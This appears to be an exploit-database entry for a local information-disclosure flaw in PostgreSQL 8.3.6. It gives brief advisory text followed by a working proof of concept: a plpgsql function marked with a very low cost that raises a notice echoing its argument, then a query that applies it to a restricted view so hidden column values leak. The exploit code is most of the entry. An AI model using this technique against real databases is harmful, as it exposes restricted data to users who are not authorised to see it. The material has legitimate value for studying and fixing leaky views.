PostgreSQL 8.3.6 - Low Cost Function Information Disclosure

Author: Andres Freund
type: local
platform: multiple
port: 
date_added: 2009-03-10 
date_updated: 2014-04-14 
verified: 1 
codes: OSVDB-54513 
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source: https://www.securityfocus.com/bid/34069/info

PostgreSQL is prone to an information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

PostgreSQL 8.3.6 is vulnerable; other versions may also be affected.

CREATE OR REPLACE FUNCTION do_tell(anyelement)
RETURNS bool
COST 0.1
VOLATILE
LANGUAGE plpgsql
AS $body$
BEGIN
raise notice 'hah: %s', $1::text;
return true;
END;
$body$;

SELECT * FROM restricted_view WHERE do_tell(secret_column);